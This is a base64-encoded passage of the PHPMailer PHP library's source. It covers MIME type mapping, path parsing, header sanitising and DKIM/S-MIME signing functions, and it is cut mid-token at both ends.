ZXMpKSB7CiAgICAgICAgICAgIHJldHVybiAkbWltZXNbc3RydG9sb3dlcigkZXh0KV07CiAgICAgICAgfQogICAgICAgIHJldHVybiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsKICAgIH0KCiAgICAvKioKICAgICAqIE1hcCBhIGZpbGUgbmFtZSB0byBhIE1JTUUgdHlwZS4KICAgICAqIERlZmF1bHRzIHRvICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLCBpLmUuLiBhcmJpdHJhcnkgYmluYXJ5IGRhdGEuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZSBBIGZpbGUgbmFtZSBvciBmdWxsIHBhdGgsIGRvZXMgbm90IG5lZWQgdG8gZXhpc3QgYXMgYSBmaWxlCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSkKICAgIHsKICAgICAgICAvLyBJbiBjYXNlIHRoZSBwYXRoIGlzIGEgVVJMLCBzdHJpcCBhbnkgcXVlcnkgc3RyaW5nIGJlZm9yZSBnZXR0aW5nIGV4dGVuc2lvbgogICAgICAgICRxcG9zID0gc3RycG9zKCRmaWxlbmFtZSwgJz8nKTsKICAgICAgICBpZiAoZmFsc2UgIT09ICRxcG9zKSB7CiAgICAgICAgICAgICRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZW5hbWUsIDAsICRxcG9zKTsKICAgICAgICB9CiAgICAgICAgJHBhdGhpbmZvID0gc2VsZjo6bWJfcGF0aGluZm8oJGZpbGVuYW1lKTsKICAgICAgICByZXR1cm4gc2VsZjo6X21pbWVfdHlwZXMoJHBhdGhpbmZvWydleHRlbnNpb24nXSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBNdWx0aS1ieXRlLXNhZmUgcGF0aGluZm8gcmVwbGFjZW1lbnQuCiAgICAgKiBEcm9wLWluIHJlcGxhY2VtZW50IGZvciBwYXRoaW5mbygpLCBidXQgbXVsdGlieXRlLXNhZmUsIGNyb3NzLXBsYXRmb3JtLXNhZmUsIG9sZC12ZXJzaW9uLXNhZmUuCiAgICAgKiBXb3JrcyBzaW1pbGFybHkgdG8gdGhlIG9uZSBpbiBQSFAgPj0gNS4yLjAKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ucGF0aGluZm8ucGhwIzEwNzQ2MQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBBIGZpbGVuYW1lIG9yIHBhdGgsIGRvZXMgbm90IG5lZWQgdG8gZXhpc3QgYXMgYSBmaWxlCiAgICAgKiBAcGFyYW0gaW50ZWdlcnxzdHJpbmcgJG9wdGlvbnMgRWl0aGVyIGEgUEFUSElORk9fKiBjb25zdGFudCwKICAgICAqICAgICAgb3IgYSBzdHJpbmcgbmFtZSB0byByZXR1cm4gb25seSB0aGUgc3BlY2lmaWVkIHBpZWNlLCBhbGxvd3MgJ2ZpbGVuYW1lJyB0byB3b3JrIG9uIFBIUCA8IDUuMgogICAgICogQHJldHVybiBzdHJpbmd8YXJyYXkKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBtYl9wYXRoaW5mbygkcGF0aCwgJG9wdGlvbnMgPSBudWxsKQogICAgewogICAgICAgICRyZXQgPSBhcnJheSgnZGlybmFtZScgPT4gJycsICdiYXNlbmFtZScgPT4gJycsICdleHRlbnNpb24nID0+ICcnLCAnZmlsZW5hbWUnID0+ICcnKTsKICAgICAgICAkcGF0aGluZm8gPSBhcnJheSgpOwogICAgICAgIGlmIChwcmVnX21hdGNoKCclXiguKj8pW1xcXFwvXSooKFteL1xcXFxdKj8pKFwuKFteXC5cXFxcL10rPyl8KSlbXFxcXC9cLl0qJCVpbScsICRwYXRoLCAkcGF0aGluZm8pKSB7CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDEsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2Rpcm5hbWUnXSA9ICRwYXRoaW5mb1sxXTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkcGF0aGluZm8pKSB7CiAgICAgICAgICAgICAgICAkcmV0WydiYXNlbmFtZSddID0gJHBhdGhpbmZvWzJdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDUsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2V4dGVuc2lvbiddID0gJHBhdGhpbmZvWzVdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDMsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2ZpbGVuYW1lJ10gPSAkcGF0aGluZm9bM107CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgc3dpdGNoICgkb3B0aW9ucykgewogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0RJUk5BTUU6CiAgICAgICAgICAgIGNhc2UgJ2Rpcm5hbWUnOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2Rpcm5hbWUnXTsKICAgICAgICAgICAgY2FzZSBQQVRISU5GT19CQVNFTkFNRToKICAgICAgICAgICAgY2FzZSAnYmFzZW5hbWUnOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2Jhc2VuYW1lJ107CiAgICAgICAgICAgIGNhc2UgUEFUSElORk9fRVhURU5TSU9OOgogICAgICAgICAgICBjYXNlICdleHRlbnNpb24nOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2V4dGVuc2lvbiddOwogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0ZJTEVOQU1FOgogICAgICAgICAgICBjYXNlICdmaWxlbmFtZSc6CiAgICAgICAgICAgICAgICByZXR1cm4gJHJldFsnZmlsZW5hbWUnXTsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIHJldHVybiAkcmV0OwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFNldCBvciByZXNldCBpbnN0YW5jZSBwcm9wZXJ0aWVzLgogICAgICogWW91IHNob3VsZCBhdm9pZCB0aGlzIGZ1bmN0aW9uIC0gaXQncyBtb3JlIHZlcmJvc2UsIGxlc3MgZWZmaWNpZW50LCBtb3JlIGVycm9yLXByb25lIGFuZAogICAgICogaGFyZGVyIHRvIGRlYnVnIHRoYW4gc2V0dGluZyBwcm9wZXJ0aWVzIGRpcmVjdGx5LgogICAgICogVXNhZ2UgRXhhbXBsZToKICAgICAqIGAkbWFpbC0+c2V0KCdTTVRQU2VjdXJlJywgJ3RscycpO2AKICAgICAqICAgaXMgdGhlIHNhbWUgYXM6CiAgICAgKiBgJG1haWwtPlNNVFBTZWN1cmUgPSAndGxzJztgCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZSBUaGUgcHJvcGVydHkgbmFtZSB0byBzZXQKICAgICAqIEBwYXJhbSBtaXhlZCAkdmFsdWUgVGhlIHZhbHVlIHRvIHNldCB0aGUgcHJvcGVydHkgdG8KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQFRPRE8gU2hvdWxkIHRoaXMgbm90IGJlIHVzaW5nIHRoZSBfX3NldCgpIG1hZ2ljIGZ1bmN0aW9uPwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0KCRuYW1lLCAkdmFsdWUgPSAnJykKICAgIHsKICAgICAgICBpZiAocHJvcGVydHlfZXhpc3RzKCR0aGlzLCAkbmFtZSkpIHsKICAgICAgICAgICAgJHRoaXMtPiRuYW1lID0gJHZhbHVlOwogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJHRoaXMtPmxhbmcoJ3ZhcmlhYmxlX3NldCcpIC4gJG5hbWUpOwogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogU3RyaXAgbmV3bGluZXMgdG8gcHJldmVudCBoZWFkZXIgaW5qZWN0aW9uLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0cgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNlY3VyZUhlYWRlcigkc3RyKQogICAgewogICAgICAgIHJldHVybiB0cmltKHN0cl9yZXBsYWNlKGFycmF5KCJcciIsICJcbiIpLCAnJywgJHN0cikpOwogICAgfQoKICAgIC8qKgogICAgICogTm9ybWFsaXplIGxpbmUgYnJlYWtzIGluIGEgc3RyaW5nLgogICAgICogQ29udmVydHMgVU5JWCBMRiwgTWFjIENSIGFuZCBXaW5kb3dzIENSTEYgbGluZSBicmVha3MgaW50byBhIHNpbmdsZSBsaW5lIGJyZWFrIGZvcm1hdC4KICAgICAqIERlZmF1bHRzIHRvIENSTEYgKGZvciBtZXNzYWdlIGJvZGllcykgYW5kIHByZXNlcnZlcyBjb25zZWN1dGl2ZSBicmVha3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0ZXh0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRicmVha3R5cGUgV2hhdCBraW5kIG9mIGxpbmUgYnJlYWsgdG8gdXNlLCBkZWZhdWx0cyB0byBDUkxGCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBub3JtYWxpemVCcmVha3MoJHRleHQsICRicmVha3R5cGUgPSAiXHJcbiIpCiAgICB7CiAgICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcclxufFxyfFxuKS9tcycsICRicmVha3R5cGUsICR0ZXh0KTsKICAgIH0KCiAgICAvKioKICAgICAqIFNldCB0aGUgcHVibGljIGFuZCBwcml2YXRlIGtleSBmaWxlcyBhbmQgcGFzc3dvcmQgZm9yIFMvTUlNRSBzaWduaW5nLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGNlcnRfZmlsZW5hbWUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGtleV9maWxlbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAka2V5X3Bhc3MgUGFzc3dvcmQgZm9yIHByaXZhdGUga2V5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRleHRyYWNlcnRzX2ZpbGVuYW1lIE9wdGlvbmFsIHBhdGggdG8gY2hhaW4gY2VydGlmaWNhdGUKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNpZ24oJGNlcnRfZmlsZW5hbWUsICRrZXlfZmlsZW5hbWUsICRrZXlfcGFzcywgJGV4dHJhY2VydHNfZmlsZW5hbWUgPSAnJykKICAgIHsKICAgICAgICAkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUgPSAkY2VydF9maWxlbmFtZTsKICAgICAgICAkdGhpcy0+c2lnbl9rZXlfZmlsZSA9ICRrZXlfZmlsZW5hbWU7CiAgICAgICAgJHRoaXMtPnNpZ25fa2V5X3Bhc3MgPSAka2V5X3Bhc3M7CiAgICAgICAgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlID0gJGV4dHJhY2VydHNfZmlsZW5hbWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBRdW90ZWQtUHJpbnRhYmxlLWVuY29kZSBhIERLSU0gaGVhZGVyLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR4dAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fUVAoJHR4dCkKICAgIHsKICAgICAgICAkbGluZSA9ICcnOwogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkdHh0KTsgJGkrKykgewogICAgICAgICAgICAkb3JkID0gb3JkKCR0eHRbJGldKTsKICAgICAgICAgICAgaWYgKCgoMHgyMSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDNBKSkgfHwgJG9yZCA9PSAweDNDIHx8ICgoMHgzRSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDdFKSkpIHsKICAgICAgICAgICAgICAgICRsaW5lIC49ICR0eHRbJGldOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGxpbmUgLj0gJz0nIC4gc3ByaW50ZignJTAyWCcsICRvcmQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbGluZTsKICAgIH0KCiAgICAvKioKICAgICAqIEdlbmVyYXRlIGEgREtJTSBzaWduYXR1cmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlcgogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gc3RyaW5nIFRoZSBES0lNIHNpZ25hdHVyZSB2YWx1ZQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9TaWduKCRzaWduSGVhZGVyKQogICAgewogICAgICAgIGlmICghZGVmaW5lZCgnUEtDUzdfVEVYVCcpKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXh0ZW5zaW9uX21pc3NpbmcnKSAuICdvcGVuc3NsJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgIH0KICAgICAgICAkcHJpdktleVN0ciA9ICFlbXB0eSgkdGhpcy0+REtJTV9wcml2YXRlX3N0cmluZykgPyAkdGhpcy0+REtJTV9wcml2YXRlX3N0cmluZyA6IGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5ES0lNX3ByaXZhdGUpOwogICAgICAgIGlmICgnJyAhPSAkdGhpcy0+REtJTV9wYXNzcGhyYXNlKSB7CiAgICAgICAgICAgICRwcml2S2V5ID0gb3BlbnNzbF9wa2V5X2dldF9wcml2YXRlKCRwcml2S2V5U3RyLCAkdGhpcy0+REtJTV9wYXNzcGhyYXNlKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcHJpdktleSA9IG9wZW5zc2xfcGtleV9nZXRfcHJpdmF0ZSgkcHJpdktleVN0cik7CiAgICAgICAgfQogICAgICAgIC8vV29ya2Fyb3VuZCBmb3IgbWlzc2luZyBkaWdlc3QgYWxnb3JpdGhtcyBpbiBvbGQgUEhQICYgT3BlblNTTCB2ZXJzaW9ucwogICAgICAgIC8vQGxpbmsgaHR0cDovL3N0YWNrb3ZlcmZsb3cuY29tL2EvMTExMTczMzgvMzMzMzQwCiAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJykgPj0gMCBhbmQKICAgICAgICAgICAgaW5fYXJyYXkoJ3NoYTI1NldpdGhSU0FFbmNyeXB0aW9uJywgb3BlbnNzbF9nZXRfbWRfbWV0aG9kcyh0cnVlKSkpIHsKICAgICAgICAgICAgaWYgKG9wZW5zc2xfc2lnbigkc2lnbkhlYWRlciwgJHNpZ25hdHVyZSwgJHByaXZLZXksICdzaGEyNTZXaXRoUlNBRW5jcnlwdGlvbicpKSB7CiAgICAgICAgICAgICAgICBvcGVuc3NsX3BrZXlfZnJlZSgkcHJpdktleSk7CiAgICAgICAgICAgICAgICByZXR1cm4gYmFzZTY0X2VuY29kZSgkc2lnbmF0dXJlKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRwaW5mbyA9IG9wZW5zc2xfcGtleV9nZXRfZGV0YWlscygkcHJpdktleSk7CiAgICAgICAgICAgICRoYXNoID0gaGFzaCgnc2hhMjU2JywgJHNpZ25IZWFkZXIpOwogICAgICAgICAgICAvLydNYWdpYycgY29uc3RhbnQgZm9yIFNIQTI1NiBmcm9tIFJGQzM0NDcKICAgICAgICAgICAgLy9AbGluayBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjMzQ0NyNwYWdlLTQzCiAgICAgICAgICAgICR0ID0gJzMwMzEzMDBkMDYwOTYwODY0ODAxNjUwMzA0MDIwMTA1MDAwNDIwJyAuICRoYXNoOwogICAgICAgICAgICAkcHNsZW4gPSAkcGluZm9bJ2JpdHMnXSAvIDggLSAoc3RybGVuKCR0KSAvIDIgKyAzKTsKICAgICAgICAgICAgJGViID0gcGFjaygnSConLCAnMDAwMScgLiBzdHJfcmVwZWF0KCdGRicsICRwc2xlbikgLiAnMDAnIC4gJHQpOwoKICAgICAgICAgICAgaWYgKG9wZW5zc2xfcHJpdmF0ZV9lbmNyeXB0KCRlYiwgJHNpZ25hdHVyZSwgJHByaXZLZXksIE9QRU5TU0xfTk9fUEFERElORykpIHsKICAgICAgICAgICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICAgICAgICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKCRzaWduYXR1cmUpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICByZXR1cm4gJyc7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZW5lcmF0ZSBhIERLSU0gY2Fub25pY2FsaXphdGlvbiBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlciBIZWFkZXIKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBES0lNX0hlYWRlckMoJHNpZ25IZWFkZXIpCiAgICB7CiAgICAgICAgJHNpZ25IZWFkZXIgPSBwcmVnX3JlcGxhY2UoJy9cclxuXHMrLycsICcgJywgJHNpZ25IZWFkZXIpOwogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoIlxyXG4iLCAkc2lnbkhlYWRlcik7CiAgICAgICAgZm9yZWFjaCAoJGxpbmVzIGFzICRrZXkgPT4gJGxpbmUpIHsKICAgICAgICAgICAgbGlzdCgkaGVhZGluZywgJHZhbHVlKSA9IGV4cGxvZGUoJzonLCAkbGluZSwgMik7CiAgICAgICAgICAgICRoZWFkaW5nID0gc3RydG9sb3dlcigkaGVhZGluZyk7CiAgICAgICAgICAgICR2YWx1ZSA9IHByZWdfcmVwbGFjZSgnL1xzezIsfS8nLCAnICcsICR2YWx1ZSk7IC8vIENvbXByZXNzIHVzZWxlc3Mgc3BhY2VzCiAgICAgICAgICAgICRsaW5lc1ska2V5XSA9ICRoZWFkaW5nIC4gJzonIC4gdHJpbSgkdmFsdWUpOyAvLyBEb24ndCBmb3JnZXQgdG8gcmVtb3ZlIFdTUCBhcm91bmQgdGhlIHZhbHVlCiAgICAgICAgfQogICAgICAgICRzaWduSGVhZGVyID0gaW1wbG9kZSgiXHJcbiIsICRsaW5lcyk7CiAgICAgICAgcmV0dXJuICRzaWduSGVhZGVyOwogICAgfQoKICAgIC8qKgogICAgICogR2VuZXJhdGUgYSBES0lNIGNhbm9uaWNhbGl6YXRpb24gYm9keS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IE1lc3NhZ2UgQm9keQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fQm9keUMoJGJvZHkpCiAgICB7CiAgICAgICAgaWYgKCRib2R5ID09ICcnKSB7CiAgICAgICAgICAgIHJldHVybiAiXHJcbiI7CiAgICAgICAgfQogICAgICAgIC8vIHN0YWJpbGl6ZSBsaW5lIGVuZGluZ3MKICAgICAgICAkYm9keSA9IHN0cl9yZXBsYWNlKCJcclxuIiwgIlxuIiwgJGJvZHkpOwogICAgICAgICRib2R5ID0gc3RyX3JlcGxhY2UoIlxuIiwgIlxyXG4iLCAkYm9keSk7CiAgICAgICAgLy8gRU5EIHN0YWJpbGl6ZSBsaW5lIGVuZGluZ3MKICAgICAgICB3aGlsZSAoc3Vic3RyKCRib2R5LCBzdHJsZW4oJGJvZHkpIC0gNCwgNCkgPT0gIlxyXG5cclxuIikgewogICAgICAgICAgICAkYm9keSA9IHN1YnN0cigkYm9keSwgMCwgc3RybGVuKCRib2R5KSAtIDIpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGJvZHk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgdGhlIERLSU0gaGVhZGVyIGFuZCBib2R5IGluIGEgbmV3IG1lc3NhZ2UgaGVhZGVyLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlcnNfbGluZSBIZWFkZXIgbGluZXMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN1YmplY3QgU3ViamVjdAogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSBCb2R5CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9BZGQoJGhlYWRlcnNfbGluZSwgJHN1YmplY3QsICRib2R5KQogICAgewogICAgICAgICRES0lNc2lnbmF0dXJlVHlwZSA9ICdyc2Etc2hhMjU2JzsgLy8gU2lnbmF0dXJlICYgaGFzaCBhbGdvcml0aG1zCiAgICAgICAgJERLSU1jYW5vbmljYWxpemF0aW9uID0gJ3JlbGF4ZWQvc2ltcGxlJzsgLy8gQ2Fub25pY2FsaXphdGlvbiBvZiBoZWFkZXIvYm9keQogICAgICAgICRES0lNcXVlcnkgPSAnZG5zL3R4dCc7IC8vIFF1ZXJ5IG1ldGhvZAogICAgICAgICRES0lNdGltZSA9IHRpbWUoKTsgLy8gU2lnbmF0dXJlIFRpbWVzdGFtcCA9IHNlY29uZHMgc2luY2UgMDA6MDA6MDAgLSBKYW4gMSwgMTk3MCAoVVRDIHRpbWUgem9uZSkKICAgICAgICAkc3ViamVjdF9oZWFkZXIgPSAiU3ViamVjdDogJHN1YmplY3QiOwogICAgICAgICRoZWFkZXJzID0gZXhwbG9kZSgkdGhpcy0+TEUsICRoZWFkZXJzX2xpbmUpOwogICAgICAgICRmcm9tX2hlYWRlciA9ICcnOwogICAgICAgICR0b19oZWFkZXIgPSAnJzsKICAgICAgICAkZGF0ZV9oZWFkZXIgPSAnJzsKICAgICAgICAkY3VycmVudCA9ICcnOwogICAgICAgIGZvcmVhY2ggKCRoZWFkZXJzIGFzICRoZWFkZXIpIHsKICAgICAgICAgICAgaWYgKHN0cnBvcygkaGVhZGVyLCAnRnJvbTonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJGZyb21faGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ2Zyb21faGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnVG86JykgPT09IDApIHsKICAgICAgICAgICAgICAgICR0b19oZWFkZXIgPSAkaGVhZGVyOwogICAgICAgICAgICAgICAgJGN1cnJlbnQgPSAndG9faGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnRGF0ZTonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJGRhdGVfaGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ2RhdGVfaGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJCRjdXJyZW50KSAmJiBzdHJwb3MoJGhlYWRlciwgJyA9PycpID09PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgJCRjdXJyZW50IC49ICRoZWFkZXI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGZyb20gPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZnJvbV9oZWFkZXIpKTsKICAgICAgICAkdG8gPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkdG9faGVhZGVyKSk7CiAgICAgICAgJGRhdGUgPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZGF0ZV9oZWFkZXIpKTsKICAgICAgICAkc3ViamVjdCA9IHN0cl9yZXBsYWNlKAogICAgICAgICAgICAnfCcsCiAgICAgICAgICAgICc9N0MnLAogICAgICAgICAgICAkdGhpcy0+REtJTV9RUCgkc3ViamVjdF9oZWFkZXIpCiAgICAgICAgKTsgLy8gQ29waWVkIGhlYWRlciBmaWVsZHMgKGRraW0tcXVvdGVkLXByaW50YWJsZSkKICAgICAgICAkYm9keSA9ICR0aGlzLT5ES0lNX0JvZHlDKCRib2R5KTsKICAgICAgICAkREtJTWxlbiA9IHN0cmxlbigkYm9keSk7IC8vIExlbmd0aCBvZiBib2R5CiAgICAgICAgJERLSU1iNjQgPSBiYXNlNjRfZW5jb2RlKHBhY2soJ0gqJywgaGFzaCgnc2hhMjU2JywgJGJvZHkpKSk7IC8vIEJhc2U2NCBvZiBwYWNrZWQgYmluYXJ5IFNIQS0yNTYgaGFzaCBvZiBib2R5CiAgICAgICAgaWYgKCcnID09ICR0aGlzLT5ES0lNX2lkZW50aXR5KSB7CiAgICAgICAgICAgICRpZGVudCA9ICcnOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRpZGVudCA9ICcgaT0nIC4gJHRoaXMtPkRLSU1faWRlbnRpdHkgLiAnOyc7CiAgICAgICAgfQogICAgICAgICRka2ltaGRycyA9ICdES0lNLVNpZ25hdHVyZTogdj0xOyBhPScgLgogICAgICAgICAgICAkREtJTXNpZ25hdHVyZVR5cGUgLiAnOyBxPScgLgogICAgICAgICAgICAkREtJTXF1ZXJ5IC4gJzsgbD0nIC4KICAgICAgICAgICAgJERLSU1sZW4gLiAnOyBzPScgLgogICAgICAgICAgICAkdGhpcy0+REtJTV9zZWxlY3RvciAuCiAgICAgICAgICAgICI7XHJcbiIgLgogICAgICAgICAgICAiXHR0PSIgLiAkREtJTXRpbWUgLiAnOyBjPScgLiAkREtJTWNhbm9uaWNhbGl6YXRpb24gLiAiO1xyXG4iIC4KICAgICAgICAgICAgIlx0aD1Gcm9tOlRvOkRhdGU6U3ViamVjdDtcclxuIiAuCiAgICAgICAgICAgICJcdGQ9IiAuICR0aGlzLT5ES0lNX2RvbWFpbiAuICc7JyAuICRpZGVudCAuICJcclxuIiAuCiAgICAgICAgICAgICJcdHo9JGZyb21cclxuIiAuCiAgICAgICAgICAgICJcdHwkdG9cclxuIiAuCiAgICAgICAgICAgICJcdHwkZGF0ZVxyXG4iIC4KICAgICAgICAgICAgIlx0fCRzdWJqZWN0O1xyXG4iIC4KICAgICAgICAgICAgIlx0Ymg9IiAuICRES0lNYjY0IC4gIjtcclxuIiAuCiAgICAgICAgICAgICJcdGI9IjsKICAgICAgICAkdG9TaWduID0gJHRoaXMtPkRLSU1fSGVhZGVyQygKICAgICAgICAgICAgJGZyb21faGVhZGVyIC4gIlxyXG4iIC4KICAgICAgICAgICAgJHRvX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRkYXRlX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRzdWJqZWN0X2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRka2ltaGRycwogICAgICAgICk7CiAgICAgICAgJHNpZ25lZCA9ICR0aGlzLT5ES0lNX1NpZ24oJHRvU2lnbik7CiAgICAgICAgcmV0dXJuICRka2ltaGRycyAuICRzaWduZWQgLiAiXHJcbiI7CiAgICB9CgogICAgLyoqCiAgICAgKiBEZXRlY3QgaWYgYSBzdHJpbmcgY29udGFpbnMgYSBsaW5lIGxvbmdlciB0aGFuIHRoZSBtYXhpbXVtIGxpbmUgbGVuZ3RoIGFsbG93ZWQuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGhhc0xpbmVMb25nZXJUaGFuTWF4KCRzdHIpCiAgICB7CiAgICAgICAgLy8rMiB0byBpbmNsdWRlIENSTEYgbGluZSBicmVhayBmb3IgYSAxMDAwIHRvdGFsCiAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goJy9eKC57Jy4oc2VsZjo6TUFYX0xJTkVfTEVOR1RIICsgMikuJyx9KS9tJywgJHN0cik7CiAgICB9CgogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAndG8nIHByb3BlcnR5LgogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIG